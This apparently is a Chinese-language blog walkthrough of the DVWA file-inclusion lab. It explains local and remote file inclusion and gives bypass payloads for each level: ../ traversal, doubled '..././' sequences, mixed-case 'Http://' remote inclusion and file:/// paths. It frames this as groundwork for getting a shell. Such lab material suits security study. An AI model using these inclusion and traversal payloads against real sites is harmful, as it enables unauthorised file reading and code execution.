DVWA-file including
其实已经做过好多文件包含的练习,但是都是比较零碎的题目
这次就整体一起来总结一下吧:
文件包含漏洞简介
1.文件包含可以分为本地文件包含和远程文件包含两种。文件包含和文件上传一样本身并不是漏洞,而是攻击者利用了包含的特性加上了应用本身对文件控制不严格,对include进来的文件不可控,才导致了一系列的危害
2.本地文件包含就是通过URL将服务器本地的其他文件include进来。远程文件包含就是将远程服务器的文件include进来
3.最主要的是,包含进来的文件都是以当前脚本文件解析,例如在apache+PHP环境,那么被include进来的文件,不管是什么类型,例如图片,文本文档,都会被当成php脚本来解析
本地文件包含
通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤,允许遍历目录的字符注入浏览器并执行
总的来说就是被包含的文件再服务器本地
远程文件包含
在远程服务器上预先设置好的脚本,然后攻击者利用该漏洞包含一个远程的文件,这种漏洞的出现是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露,拒绝服务攻击,甚至在目标服务器上执行代码
简单的说,就是被包含的文件在第三方服务器
常见函数
1 | Include() |
小tips
1 | / 根目录 |
DVWA练习
low
本地文件包含:
在low级别中
1 |
|
这个对get的page没有任何过滤
1 | if( isset( $file ) ) |
在index.php文件中发现inlude() 所以有文件包含漏洞
构建
1 | ?page=../../phpinfo.php |
有的人会问,你怎么知道上移两级可以找到这个文件?
当然不知道呀,试出来的
远程文件包含
我们现在我们www下构建一个文件
然后通过输入URL进行打开
这里需要注意的是,文件名不能包含空格之类的字符,不然到时候会被被编码成%20反而找不到文件了
medium
1 | $file = str_replace( array( "http://", "https://" ), "", $file ); $file = str_replace( array( "../", "..\"" ), "", $file ); |
在这个关卡中,使用了两个正则过滤了以上字符
本地文件包含
尝试一下使用复写的方式进行绕过:
1 | ?page=..././..././phpinfo.php |
好的绕过成功
感觉过滤绕过的方法都很像,所以要经常复习!
远程文件包含
1 | payload:?page=Http://url //在这里也是直接采取大小写拼接,或者复写都可以 |
high
1 | if( !fnmatch( "file*", $file ) && $file != "include.php" ) |
fnmatch() 函数根据指定的模式来匹配文件名或字符串。
这里使用fnmatch检查page参数,必须是file*
问:file*是什么类型?
这里指的是需要file协议类型:
定义本地文件传输协议 ,file协议主要用于访问本地计算机中的文件.
file协议的格式:
1 | file:///+绝对路径 |
https://www.cnblogs.com/lishanlei/p/9327646.html
所以这里我们需要知道绝对路径才行,不能在使用../退格
impossible难度
直接白名单,简单粗暴没啥好说–
小结
存在文件包含漏洞,我觉得很大的作用是获取路径信息或者其他有用信息为文件上传get shell 做准备
1.报错产生文件路径
2.通过已有的路径,猜解服务器绝对路径
DVWA-file including